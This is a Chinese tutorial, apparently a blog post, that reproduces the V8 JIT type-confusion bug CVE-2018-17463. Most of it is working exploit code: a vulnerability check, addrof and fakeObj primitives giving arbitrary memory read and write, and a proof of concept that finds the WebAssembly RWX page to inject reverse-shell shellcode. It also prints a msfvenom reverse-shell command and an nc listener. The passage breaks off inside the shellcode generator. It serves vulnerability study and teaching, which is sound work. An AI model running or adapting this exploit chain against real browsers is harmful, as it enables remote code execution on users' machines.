一次入门向v8漏洞复现

这是我根据我的前文CVE-2018-17463复现 - 掘金进行的一次详细一点的一次v8入门向利用过程,虽然我也是小白且复现近期的cve也屡屡失败,但不止一人咨询我远古cve复现问题,故写个复现过程供大家参考。

本篇将带你完整走完一次典型的 JavaScript 引擎漏洞利用流程:

  • ✅ 验证漏洞是否存在
  • ✅ 构造任意读原语(addrof
  • ✅ 实现任意写原语(fakeobj
  • ✅ 泄露关键内存地址
  • ✅ 利用 WebAssembly 分配可执行内存
  • ✅ 写入 Shellcode 并触发反向 Shell 连接

整个过程基于 Google V8 引擎中的类型混淆漏洞 CVE-2018-17463,代码是我和大模型人机协作写的,话是纯AI根据我口水话改的,话可能比较有人机感。


一、漏洞背景:什么是 CVE-2018-17463?

CVE-2018-17463 是 Google V8 JavaScript 引擎中存在的一处类型混淆(Type Confusion)漏洞,属于 JIT 编译器优化过程中因状态同步缺失导致的安全问题。

漏洞成因简析

V8 在处理对象属性时会根据属性数量和使用模式动态切换存储方式:

存储模式 特点
Fast Properties(快速属性) 属性以固定偏移量存储在对象体内,访问高效
Dictionary Properties(字典属性) 当对象频繁增删属性或属性过多时,转为哈希表结构存储

而 TurboFan 作为 V8 的优化编译器,在 JIT 编译阶段会对属性访问进行"硬编码"优化 ------ 即假设某个属性始终位于固定的内存偏移处。

但当对象在运行时由 Fast 转为 Dictionary 模式后,其内部布局发生变化,TurboFan 却未能正确感知这一变化,导致 CheckMaps 节点被错误地优化掉,从而引发类型混淆。

这使得原本应读取某个浮点数的位置,可能意外读到了另一个对象的指针,进而造成信息泄露甚至任意内存读写


二、利用思路总览

该漏洞的核心危害在于:

  1. 可通过类型混淆构造出 任意读写原语
  2. 结合旧版 V8 中 WebAssembly 默认分配 RWX 内存 的特性
  3. 最终实现 任意代码执行(RCE)

我们将其拆解为四个阶段:

text 复制代码
[1] 漏洞验证 → [2] 地址泄露 → [3] 任意读写 → [4] 执行 shellcode

接下来我们将一步步实现上述目标。


三、第一步:验证漏洞是否存在

我们要做的第一件事是确认当前环境(如 d8 或 Chrome)是否受此漏洞影响。

原理回顾

当对象经过 Object.create() 后,其隐藏类(Map)可能从 Fast 切换到 Dictionary 模式。如果 TurboFan 已经对该对象的属性访问做了偏移固化优化,此时仍按旧偏移读取数据,就会读到错误内容。

我们编写一个简单的测试函数来检测这种异常行为:

js 复制代码
// /root/v8/v8/out/x64.debug/d8 --allow-natives-syntax /root/script_v8/cve201817463_test2.js

// gdb /root/v8/v8/out/x64.debug/d8
// set args --allow-natives-syntax /root/script_v8/cve201817463_test2.js
// r

function create(){
    var obj = {a:123};
    for(let i = 0;i<30;i++){
        eval(`obj.${'b'+i} = 456-i`);
        // obj['b' + i] = 456 - i;
        // obj[`b${i}`] = 456 - i;
    }
    return obj;
}
 
let obj_array=[];
 
/*function triggerVul(obj){
    obj.a;
    this.Object.create(obj);
    eval(`
    ${find_obj.map((b) => `let ${b} = obj.${b};`).join('\n')}
    `);
}*/
 
function find(){
    for (let i = 0;i<40;i++){
        obj_array[i] = 'b'+i;
    }
    eval(`
        function triggerVul(obj){
            obj.a;
            this.Object.create(obj);
            ${obj_array.map(
        (b) => `let ${b} = obj.${b};`
        ).join('\n')}
            return [${obj_array.join(', ')}];
        }
    `);
    for(let i = 0;i<10000;i++){
        let obj = create();
        let array = triggerVul(obj);
        for(let j = 0;j<array.length;j++){
            if(array[j]!=456-j&&array[j]<456&&array[j]>(456-39)){
                console.log("\033[1;32m[*] find two : \033[0m"+'b'+j+" and "+'b'+(456-array[j]));
                return ['b'+j , 'b' + (456-array[j])];
            }
        }
    }
}
 
find();

四、第二步:构造任意读原语(Address Leak)并验证

一旦确认漏洞存在,下一步就是利用它来泄露对象的真实内存地址

思路解析

我们构造两个重叠的属性字段 b_p1b_p2,它们实际共享同一块内存空间。然后:

  • b_p1 是一个包含浮点数的对象 {x1: 1.1}
  • b_p2 是一个包含目标对象引用的 {y: target_obj}

由于类型混淆,JIT 仍认为 b_p1.x1 是 double 类型,但实际上这块内存现在存放的是指向 target_obj 的指针!

于是当我们读取 b_p1.x1 时,得到的是一个"伪装成浮点数"的指针值。通过 Float64ArrayUint32Array 的视图转换,即可还原出完整的 64 位地址。

js 复制代码
// /root/v8/v8/out/x64.debug/d8 --allow-natives-syntax /root/script_v8/cve201817463_addressof.js

// gdb /root/v8/v8/out/x64.debug/d8
// set args --allow-natives-syntax /root/script_v8/cve201817463_addressof.js
// r

// 1.构造对象并诱导 JIT 编译:创建结构相同的对象并反复调用某函数,让编译器假设某个属性始终是浮点数。
// 2.触发类型混淆:在编译后修改该属性为对象引用,但 JIT 代码仍按浮点数读取,导致指针被当成 double 值输出。
// 3.提取地址值:将这个"浮点数"存入 Float64Array,再通过 Uint32Array 视图拆解出高低位,拼接成完整的 64 位地址。
// 4.验证与利用:确认泄露地址合理(如指向 Wasm 函数),为后续任意读写和代码执行做准备。

var buf = new ArrayBuffer(16);
var f64 = new Float64Array(buf);
var i32 = new Uint32Array(buf);

function f_to_i(target) {
    f64[0] = target;
    let tmp = Array.from(i32);
    return tmp[1] * 0x100000000 + tmp[0];
}

function i_to_f(target) {
    let tmp = [];
    tmp[0] = parseInt(target % 0x100000000);
    tmp[1] = parseInt((target - tmp[0]) / 0x100000000);
    i32.set(tmp);
    return f64[0];
}

function hex(target) {
    return "0x" + target.toString(16).padStart(16, "0");
}

function create() {
    var obj = { a: 123 };
    for (let i = 0; i < 30; i++) {
        eval(`obj.${'b' + i} = 456 - i`);
    }
    return obj;
}

let obj_array = [];

function find() {
    for (let i = 0; i < 40; i++) {
        obj_array[i] = 'b' + i;
    }

    eval(`
        function triggerVul(obj) {
            obj.a;
            this.Object.create(obj);
            ${obj_array.map((b) => `let ${b} = obj.${b};`).join('\n')}
            return [${obj_array.join(', ')}];
        }
    `);

    for (let i = 0; i < 10000; i++) {
        let obj = create();
        let array = triggerVul(obj);
        for (let j = 0; j < array.length; j++) {
            if (array[j] !== 456 - j && array[j] < 456 && array[j] > (456 - 39)) {
                console.log("\x1b[1;32m[*] Found two corrupted properties: \x1b[0m" + 'b' + j + " and b" + (456 - array[j]));
                return ['b' + j, 'b' + (456 - array[j])];
            }
        }
    }
    throw new Error("Exploit failed at find()");
}

let C1 = 0;
let C2 = 0;

function leak_obj_create(target) {
    var obj = { a: 123 };
    for (let i = 0; i < 30; i++) {
        if ('b' + i !== C1 && 'b' + i !== C2) {
            eval(`obj.${'b' + i} = 1.1;`);
        } else if ('b' + i === C1) {
            eval(`obj.${C1} = {c10: 1.1, c11: 2.2};`);
        } else if ('b' + i === C2) {
            eval(`obj.${C2} = {c20: target};`);
        }
    }
    return obj;
}

function leak(target) {
    eval(`
        function triggerVul(target) {
            target.a;
            this.Object.create(target);
            return target.${C1}.c10;
        }
    `);

    for (let i = 0; i < 10000; i++) {
        var obj = leak_obj_create(target);
        var leak_val = triggerVul(obj);
        if (leak_val !== 1.1 && leak_val !== undefined) {
            let addr = f_to_i(leak_val);
            console.log("\x1b[1;32m[*] Successfully leaked target address: \x1b[0m" + hex(addr));
            return addr;
        }
    }
    throw new Error("Leak failed: could not extract address");
}

[C1, C2] = find();
console.log(`\x1b[1;34m[*] Chosen corruption indices: C1=${C1}, C2=${C2}\x1b[0m`);

// 创建 Wasm 实例
var wasmCode = new Uint8Array([
    0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127,
    3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0,
    5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145,
    128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114,121, 2, 0, 4, 109, 97,
    105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0,
    65, 42, 11
]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm_func = wasmInstance.exports.main;

console.log("\x1b[1;36m[*] Wasm function created at:\x1b[0m", wasm_func);

// ==================== 开始泄露 wasm_func 地址 ====================
console.log("\x1b[1;35m[*] Starting leak phase...\x1b[0m");
// 在 JavaScript 引擎(如 V8)中,你无法通过 JavaScript 代码直接获取一个对象(包括函数)在堆内存中的真实地址。
// 对象存在于 V8 的堆上,其真实地址由 V8 内存管理器分配,对 JS 层完全隐藏。
// 将 wasmInstance.exports.main 作为属性值放入 JavaScript 对象时,放入的是该函数的一个引用(reference),一个指向实际堆内存中函数对象的指针。
// 代码错误地把这个存储对象指针的位置当作一个 double 类型来读取
// 本应该被保护的指针值即真实地址被直接当作浮点数返回给了 JS 层
var wasm_addr = leak(wasm_func);

if (!wasm_addr || wasm_addr === 0) {
    throw new Error("Invalid leaked address");
}

// ==================== ✅ 泄露完成:插入调试暂停点 ====================
console.log("\x1b[1;32m[+] Leak successful!\x1b[0m");
console.log(`    Leaked wasm_func address: ${hex(wasm_addr)}`);

%DebugPrint(wasm_func);
%SystemBreak();

五、第三步:实现任意写原语(Arbitrary Write)并验证

有了任意读还不够,真正的控制力来自于任意写

核心思想:属性重叠 + fakeobj

继续利用前面发现的属性重叠机制:

  • b_p1 指向一个对象 A:{x1: 1.1, x2: 1.2}
  • b_p2 指向一个 ArrayBuffer B

我们让 JIT 认为 A.x2 是一个浮点数,并允许我们修改它的值。但由于内存重叠,修改 A.x2 实际上会覆盖 ArrayBuffer B 的 backing store 指针!

这意味着我们可以把 ArrayBuffer 的数据指针"伪造"到任意地址 ------ 比如另一个对象的起始位置。

js 复制代码
// /root/v8/v8/out/x64.debug/d8 --allow-natives-syntax /root/script_v8/cve201817463_addresswrite.js

// gdb /root/v8/v8/out/x64.debug/d8
// set args --allow-natives-syntax /root/script_v8/cve201817463_addresswrite.js
// r

// 验证任意写
// 在 V8 引擎中,对象的属性按隐藏类(Map)统一布局存储。通过漏洞让 JIT 编译器误判某个属性为浮点数,
// 而实际存入的是另一个对象的引用,会造成两个属性字段指向同一内存位置。
// 利用这一点,可以让 obj.C1.c10 和 obj.C2.c20 实际共享同一块内存(即"重叠")。
// 当后续修改 c10 下的某个字段时,实际上修改的是 c20 所指向目标对象的内部字段。
// /root/v8/v8/out/x64.debug/d8 --allow-natives-syntax /root/script_v8/cve201817463_fixed.js
// /root/v8/v8/out/x64.debug/d8 --allow-natives-syntax /root/script_v8/cve201817463_fixed.js
// /root/v8/v8/out/x64.debug/d8 --allow-natives-syntax /root/script_v8/test_arbitrary_write.js

// gdb /root/v8/v8/out/x64.debug/d8
// set args --allow-natives-syntax /root/script_v8/test_arbitrary_write.js
// r

var buf = new ArrayBuffer(16);
var f64 = new Float64Array(buf);
var i32 = new Uint32Array(buf);

function f_to_i(target) {
    f64[0] = target;
    let tmp = Array.from(i32);
    return tmp[1] * 0x100000000 + tmp[0];
}

function i_to_f(target) {
    let tmp = [];
    tmp[0] = parseInt(target % 0x100000000);
    tmp[1] = parseInt((target - tmp[0]) / 0x100000000);
    i32.set(tmp);
    return f64[0];
}

function hex(target) {
    return "0x" + target.toString(16).padStart(16, "0");
}

function gc() {
    for (var i = 0; i < ((1024 * 1024) / 0x10); i++) {
        var a = new String();
    }
}

function give_me_a_clean_newspace() {
    gc();
    gc();
}

// ========== 创建对象的辅助函数 ==========
function getObj(values) {
    let obj = { a: 1234 };
    for (let i = 0; i < 32; i++) {
        Object.defineProperty(obj, 'b' + i, {
            writable: true,
            value: values[i]
        });
    }
    return obj;
}

let p1, p2;

// ========== 查找重叠属性 ==========
function findOverlapping() {
    let names = [];
    for (let i = 0; i < 32; i++) {
        names[i] = 'b' + i;
    }

    eval(`
        function vuln(obj) {
            obj.a;
            this.Object.create(obj);
            ${names.map((b) => `let ${b} = obj.${b};`).join('\n')}
            return [${names.join(', ')}];
        }
    `);

    let values = [];
    for (let i = 1; i < 32; i++) {
        values[i] = -i;
    }

    for (let i = 0; i < 10000; i++) {
        let res = vuln(getObj(values));
        for (let i = 1; i < res.length; i++) {
            if (i !== -res[i] && res[i] < 0 && res[i] > -32) {
                [p1, p2] = [i, -res[i]];
                console.log(`\x1b[1;32m[*] Found overlapping properties: b${p1} and b${p2}\x1b[0m`);
                return;
            }
        }
    }
    throw "[!] Failed to find overlapping";
}

// ========== addrof原语:获取对象地址 ==========
function addrof(obj) {
    eval(`
        function vuln(obj) {
            obj.a;
            this.Object.create(obj);
            return obj.b${p1}.x1;
        }
    `);

    let values = [];
    values[p1] = { x1: 1.1, x2: 1.2 };
    values[p2] = { y: obj };

    for (let i = 0; i < 10000; i++) {
        let res = vuln(getObj(values));
        if (res != 1.1) {
            let addr = f_to_i(res);
            console.log(`\x1b[1;32m[*] Object address leaked: ${hex(addr)}\x1b[0m`);
            return res;
        }
    }
    throw "[!] addrof failed";
}

// ========== fakeObj原语:实现任意写 ==========
function fakeObj(obj, addr) {
    eval(`
        function vuln(obj) {
            obj.a;
            this.Object.create(obj);
            let orig = obj.b${p1}.x2;
            obj.b${p1}.x2 = ${addr};
            return orig;
        }
    `);

    let values = [];
    let o = { x1: 1.1, x2: 1.2 };
    values[p1] = o;
    values[p2] = obj;

    for (let i = 0; i < 10000; i++) {
        o.x2 = 1.2;
        let res = vuln(getObj(values));
        if (res != 1.2) {
            console.log("\x1b[1;32m[*] fakeObj executed successfully\x1b[0m");
            return res;
        }
    }
    throw "[!] fakeObj failed";
}

// ==================== 主测试流程 ====================
console.log("\x1b[1;36m[+] Step 1: Finding overlapping properties...\x1b[0m");
findOverlapping();

console.log("\x1b[1;36m[+] Step 2: Creating target objects...\x1b[0m");
// 创建一个ArrayBuffer作为我们的"任意写"工具
let buffer = new ArrayBuffer(1024);
let dv = new DataView(buffer);

// 创建一个测试对象,我们将修改它的某个属性
let testObj = {
    magic1: 0x1111111111111111,
    magic2: 0x2222222222222222,
    magic3: 0x3333333333333333,
    target: 0x4444444444444444  // 这是我们要修改的目标字段
};

give_me_a_clean_newspace();

console.log("\x1b[1;36m[+] Step 3: Before write - printing testObj...\x1b[0m");
console.log("testObj.target = 0x" + testObj.target.toString(16));
%DebugPrint(testObj);

console.log("\x1b[1;36m[+] Step 4: Getting testObj address...\x1b[0m");
let testObj_addr = addrof(testObj);
let testObj_addr_int = f_to_i(testObj_addr);
console.log(`testObj address: ${hex(testObj_addr_int)}`);

console.log("\x1b[1;36m[+] Step 5: Faking buffer to point to testObj...\x1b[0m");
// 将buffer的backing store指针修改为testObj的地址
// 这样我们就可以通过DataView直接读写testObj的内存
fakeObj(buffer, testObj_addr);

console.log("\x1b[1;36m[+] Step 6: Reading testObj's memory layout...\x1b[0m");
// 读取对象内存布局(前几个qword通常是Map、Properties等元数据)
console.log("Memory dump of testObj (first 128 bytes):");
for (let i = 0; i < 16; i++) {
    let offset = i * 8;
    let value = dv.getFloat64(offset, true);
    let value_int = f_to_i(value);
    console.log(`  [+${offset.toString().padStart(3, '0')}]: ${hex(value_int)}`);
}

console.log("\x1b[1;36m[+] Step 7: Writing magic value to testObj...\x1b[0m");
// 在V8中,对象的属性通常存储在对象本身后面
// 我们尝试在偏移0x20处写入一个魔术值
let write_offset = 0x20;  // 根据实际对象布局调整
let magic_value = 0xdeadbeefcafebabe;

console.log(`Writing 0x${magic_value.toString(16)} to offset ${write_offset}...`);
dv.setFloat64(write_offset, i_to_f(magic_value), true);

console.log("\x1b[1;36m[+] Step 8: Verifying the write...\x1b[0m");
// 重新读取该位置
let read_back = f_to_i(dv.getFloat64(write_offset, true));
console.log(`Read back value: ${hex(read_back)}`);

if (read_back === magic_value) {
    console.log("\x1b[1;32m[✓] Arbitrary write SUCCESS!\x1b[0m");
} else {
    console.log("\x1b[1;31m[✗] Write verification failed!\x1b[0m");
}

console.log("\x1b[1;36m[+] Step 9: After write - printing testObj again...\x1b[0m");
%DebugPrint(testObj);

console.log("\x1b[1;36m[+] Step 10: Writing to another location...\x1b[0m");
// 再写入另一个位置作为额外验证
let write_offset2 = 0x28;
let magic_value2 = 0x1337133713371337;
console.log(`Writing 0x${magic_value2.toString(16)} to offset ${write_offset2}...`);
dv.setFloat64(write_offset2, i_to_f(magic_value2), true);

let read_back2 = f_to_i(dv.getFloat64(write_offset2, true));
console.log(`Read back value: ${hex(read_back2)}`);

console.log("\x1b[1;36m[+] Step 11: Memory dump after writes...\x1b[0m");
for (let i = 0; i < 16; i++) {
    let offset = i * 8;
    let value = dv.getFloat64(offset, true);
    let value_int = f_to_i(value);
    let marker = (offset === write_offset || offset === write_offset2) ? " <-- WRITTEN" : "";
    console.log(`  [+${offset.toString().padStart(3, '0')}]: ${hex(value_int)}${marker}`);
}

console.log("\x1b[1;35m[+] Breaking for GDB inspection...\x1b[0m");
console.log("In GDB, you can verify with:");
console.log(`  x/32gx ${hex(testObj_addr_int)}`);
console.log(`  x/gx ${hex(testObj_addr_int + write_offset)}`);
console.log(`  x/gx ${hex(testObj_addr_int + write_offset2)}`);

%SystemBreak();

// # 查看testObj的完整内存布局
// x/32gx [打印出的testObj地址]
// # 检查写入的魔术值
// x/gx [testObj地址 + 0x20]
// x/gx [testObj地址 + 0x28]
// 预期输出
// 偏移0x20应该包含:0xdeadbeefcafebabe
// 偏移0x28应该包含:0x1337133713371337

六、第四步:实现任意代码执行(Reverse Shell)

现在我们已经具备:

  • ✅ 任意地址读写
  • ✅ 可控的内存布局
  • ✅ 可预测的对象偏移

接下来只需结合 WebAssembly 的历史特性,即可完成最终提权。

WebAssembly 的"黄金时代"

在较早版本的 V8 中,创建 WebAssembly 模块会自动分配一块 RWX(可读、可写、可执行)内存页,用于存放编译后的 WASM 函数体。

这个特性曾被广泛用于漏洞利用链中,因为:

  • 我们可以通过 addrof 泄露 WebAssembly.Instance 的地址
  • 其内部偏移 +0xf0 处保存着 RWX 内存的起始地址
  • 使用 fakeObj 将 ArrayBuffer 指向该区域
  • 向其中写入 Shellcode
  • 调用 WASM 导出函数即可执行我们的代码!

⚠️ 注意:现代 V8 已禁用默认 RWX 分配,启用 CodeRange 等防护机制,因此该方法主要适用于特定历史版本。


七、完整 POC:反弹 Shell 实战

最后一步,我们将所有原语串联起来,打造一个完整的攻击载荷,实现 Linux 下的反向 Shell 连接和使用浏览器去触发漏洞。

攻击流程概览

text 复制代码
1. 创建 WASM 实例 → 获取 RWX 内存
2. findOverlapping() → 找到可用于混淆的属性对
3. addrof(wasmInstance) → 泄露实例地址
4. fakeObj(mem, wasm_addr) → 控制 ArrayBuffer 指向实例
5. 读取 offset 0xf0 → 得到 RWX 页面地址
6. 再次 fakeObj → 将 mem 指向 RWX 区域
7. 写入 Shellcode(msfvenom 生成)
8. 调用 f() → 触发执行,反弹 Shell

Shellcode 注入细节

我们采用标准的 x64 Linux 反弹 Shell 汇编逻辑:

  • 调用 socket(AF_INET, SOCK_STREAM, 0)
  • 连接到指定 IP:PORT
  • 使用 dup2 将 socket 绑定到 stdin/stdout/stderr
  • 执行 /bin/sh

Shellcode 可通过如下命令生成:

bash 复制代码
msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1991 -f hex

然后将其转换为字节数组注入 RWX 内存。

成功标志

当你看到终端输出 [+] GetShell 并且监听端口收到连接时,恭喜你 ------ 成功完成了从浏览器引擎漏洞到系统级权限获取的全过程!

bash 复制代码
nc -lvnp 1991
# 收到 shell 连接
connect to [127.0.0.1] from localhost [127.0.0.1] 12345
whoami
> attacker

POC代码:

python 复制代码
// /root/v8/v8/out/x64.debug/d8 /root/script_v8/cve201817463.js
function gc() {
  /*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/
  for (var i = 0; i < ((1024 * 1024) / 0x10); i++) {
    var a = new String();
  }
}

function give_me_a_clean_newspace() {
  /*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/
  gc()
  gc()
}

let floatView = new Float64Array(1);
let uint64View = new BigUint64Array(floatView.buffer);

Number.prototype.toBigInt = function toBigInt() {
  floatView[0] = this;
  return uint64View[0];
};

BigInt.prototype.toNumber = function toNumber() {
  uint64View[0] = this;
  return floatView[0];
};

function hex(b) {
  return ('0' + b.toString(16)).substr(-2);
}

// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
  var res = [];
  for (var i = 0; i < bytes.length; i++)
    res.push(hex(bytes[i]));
  return res.join('');
}

// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
  if (hexstr.length % 2 == 1)
    throw new TypeError("Invalid hex string");
  var bytes = new Uint8Array(hexstr.length / 2);
  for (var i = 0; i < hexstr.length; i += 2)
    bytes[i / 2] = parseInt(hexstr.substr(i, 2), 16);
  return bytes;
}

function hexdump(data) {
  if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
    data = Array.from(data);
  var lines = [];
  for (var i = 0; i < data.length; i += 16) {
    var chunk = data.slice(i, i + 16);
    var parts = chunk.map(hex);
    if (parts.length > 8)
      parts.splice(8, 0, ' ');
    lines.push(parts.join(' '));
  }
  return lines.join('\n');
}

// Simplified version of the similarly named python module.
var Struct = (function () {
  // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
  var buffer = new ArrayBuffer(8);
  var byteView = new Uint8Array(buffer);
  var uint32View = new Uint32Array(buffer);
  var float64View = new Float64Array(buffer);
  return {
    pack: function (type, value) {
      var view = type;        // See below
      view[0] = value;
      return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
    },
    unpack: function (type, bytes) {
      if (bytes.length !== type.BYTES_PER_ELEMENT)
        throw Error("Invalid bytearray");
      var view = type;        // See below
      byteView.set(bytes);
      return view[0];
    },
    // Available types.
    int8: byteView,
    int32: uint32View,
    float64: float64View
  };
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
  // The underlying byte array.
  var bytes = new Uint8Array(8);
  switch (typeof v) {
    case 'number':
      v = '0x' + Math.floor(v).toString(16);
    case 'string':
      if (v.startsWith('0x'))
        v = v.substr(2);
      if (v.length % 2 == 1)
        v = '0' + v;
      var bigEndian = unhexlify(v, 8);
      bytes.set(Array.from(bigEndian).reverse());
      break;
    case 'object':
      if (v instanceof Int64) {
        bytes.set(v.bytes());
      } else {
        if (v.length != 8)
          throw TypeError("Array must have excactly 8 elements.");
        bytes.set(v);
      }
      break;
    case 'undefined':
      break;
    default:
      throw TypeError("Int64 constructor requires an argument.");
  }
  // Return a double whith the same underlying bit representation.
  this.asDouble = function () {
    // Check for NaN
    if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
      throw new RangeError("Integer can not be represented by a double");
    return Struct.unpack(Struct.float64, bytes);
  };
  // Return a javascript value with the same underlying bit representation.
  // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
  // due to double conversion constraints.
  this.asJSValue = function () {
    if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
      throw new RangeError("Integer can not be represented by a JSValue");
    // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
    this.assignSub(this, 0x1000000000000);
    var res = Struct.unpack(Struct.float64, bytes);
    this.assignAdd(this, 0x1000000000000);
    return res;
  };
  // Return the underlying bytes of this number as array.
  this.bytes = function () {
    return Array.from(bytes);
  };
  // Return the byte at the given index.
  this.byteAt = function (i) {
    return bytes[i];
  };
  // Return the value of this number as unsigned hex string.
  this.toString = function () {
    return '0x' + hexlify(Array.from(bytes).reverse());
  };
  // Basic arithmetic.
  // These functions assign the result of the computation to their 'this' object.
  // Decorator for Int64 instance operations. Takes care
  // of converting arguments to Int64 instances if required.
  function operation(f, nargs) {
    return function () {
      if (arguments.length != nargs)
        throw Error("Not enough arguments for function " + f.name);
      for (var i = 0; i < arguments.length; i++)
        if (!(arguments[i] instanceof Int64))
          arguments[i] = new Int64(arguments[i]);
      return f.apply(this, arguments);
    };
  }

  // this = -n (two's complement)
  this.assignNeg = operation(function neg(n) {
    for (var i = 0; i < 8; i++)
      bytes[i] = ~n.byteAt(i);
    return this.assignAdd(this, Int64.One);
  }, 1);
  // this = a + b
  this.assignAdd = operation(function add(a, b) {
    var carry = 0;
    for (var i = 0; i < 8; i++) {
      var cur = a.byteAt(i) + b.byteAt(i) + carry;
      carry = cur > 0xff | 0;
      bytes[i] = cur;
    }
    return this;
  }, 2);
  // this = a - b
  this.assignSub = operation(function sub(a, b) {
    var carry = 0;
    for (var i = 0; i < 8; i++) {
      var cur = a.byteAt(i) - b.byteAt(i) - carry;
      carry = cur < 0 | 0;
      bytes[i] = cur;
    }
    return this;
  }, 2);
}

// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function (d) {
  var bytes = Struct.pack(Struct.float64, d);
  return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
  return (new Int64()).assignNeg(n);
}

// Return a + b
function Add(a, b) {
  return (new Int64()).assignAdd(a, b);
}

// Return a - b
function Sub(a, b) {
  return (new Int64()).assignSub(a, b);
}

// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);

function utf8ToString(h, p) {
  let s = "";
  for (i = p; h[i]; i++) {
    s += String.fromCharCode(h[i]);
  }
  return s;
}

function log(x, y = ' ') {
  print("[+] log:", x, y);
}

// =================== //
//     Start here!     //
// =================== //

function check_vul() {
  function vuln(x) {
    x.a;
    Object.create(x);
    return x.b;

  }

  for (let i = 0; i < 10000; i++) {
    let x = { a: 0x1234 };
    x.b = 0x5678;
    let res = vuln(x);
    if (res != 0x5678) {
      log("CVE-2018-17463 exists in the d8");
      return;
    }

  }
  throw "bad d8 version";

}

function getObj(values) {
  let obj = { a: 1234 };
  for (let i = 0; i < 32; i++) {
    Object.defineProperty(obj, 'b' + i, {
      writable: true,
      value: values[i]
    });
  }
  return obj;
}

let p1, p2;

function findOverlapping() {
  let names = [];
  for (let i = 0; i < 32; i++) {
    names[i] = 'b' + i;
  }

  eval(`
    function vuln(obj) {
      obj.a;
      this.Object.create(obj);
      ${names.map((b) => `let ${b} = obj.${b};`).join('\n')}
      return [${names.join(', ')}];
    }
  `)

  let values = [];
  for (let i = 1; i < 32; i++) {
    values[i] = -i;
  }

  for (let i = 0; i < 10000; i++) {
    let res = vuln(getObj(values));
    for (let i = 1; i < res.length; i++) {
      if (i !== -res[i] && res[i] < 0 && res[i] > -32) {
        [p1, p2] = [i, -res[i]];
        return;
      }
    }
  }
  throw "[!] Failed to find overlapping";
}

function addrof(obj) {
  eval(`
  function vuln(obj) {
    obj.a;
    this.Object.create(obj);
    return obj.b${p1}.x1;
  }
`);


  let values = [];
  values[p1] = { x1: 1.1, x2: 1.2 };
  values[p2] = { y: obj };

  for (let i = 0; i < 10000; i++) {
    let res = vuln(getObj(values));
    if (res != 1.1) {
      print(`[+] Object Address: ${Int64.fromDouble(res).toString()}`);
      return res;
    }
  }
  throw "[!] AddrOf Primitive Failed"
}

function fakeObj(obj, addr) {
  eval(`
  function vuln(obj) {
    obj.a;
    this.Object.create(obj);
    let orig = obj.b${p1}.x2;
    obj.b${p1}.x2 = ${addr};
    return orig;
  }
`);

  let values = [];
  let o = { x1: 1.1, x2: 1.2 };
  values[p1] = o;
  values[p2] = obj;

  for (let i = 0; i < 10000; i++) {
    o.x2 = 1.2;
    let res = vuln(getObj(values));
    if (res != 1.2) {
      return res;
    }
  }
  throw "[!] fakeObj Primitive Failed"
}

var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
print("[+] check whether vulnerability exists");
check_vul();
print("[+] Finding Overlapping Properties...");
findOverlapping();
print(`[+] Properties b${p1} and b${p2} overlap!`);
let mem = new ArrayBuffer(1024);
let dv = new DataView(mem);
give_me_a_clean_newspace();
print("[+] get address of RWX Page");
let addr = addrof(wasmInstance);
fakeObj(mem, addr);
let code_addr = Int64.fromDouble(dv.getFloat64(0xf0 - 1, true));
print(`[+] rwx addr: ${code_addr}`);
fakeObj(mem, code_addr.asDouble());
print("[+] write shellcode");
// let shellcode = [
//   0x2fbb485299583b6an,
//   0x5368732f6e69622fn,
//   0x050f5e5457525f54n
// ];
function generateReverseShellcode(ip, port) {
    // 将IP地址转换 127.0.0.1 -> 0x0100007f (小端序存储)
    let ipParts = ip.split('.').map(x => parseInt(x));
    let ipDword = (ipParts[0]) | (ipParts[1] << 8) | (ipParts[2] << 16) | (ipParts[3] << 24);
    
    // 端口转换为网络字节序 1991 -> 0xc707
    let portWord = ((port >> 8) & 0xFF) | ((port & 0xFF) << 8);
    
    console.log(`    IP bytes: ${ipParts.join('.')} -> 0x${ipDword.toString(16).padStart(8, '0')}`);
    console.log(`    Port: ${port} -> 0x${portWord.toString(16).padStart(4, '0')} (network byte order)`);
    
    // 标准的 reverse shell shellcode (手工汇编)
    // 使用 msfvenom 风格的 shellcode 结构
    
    let shellcode = [];
    
    // 将 sockaddr_in 结构的数据编码到指令中
    // sockaddr.sin_family = AF_INET (2)
    // sockaddr.sin_port = port (network order)
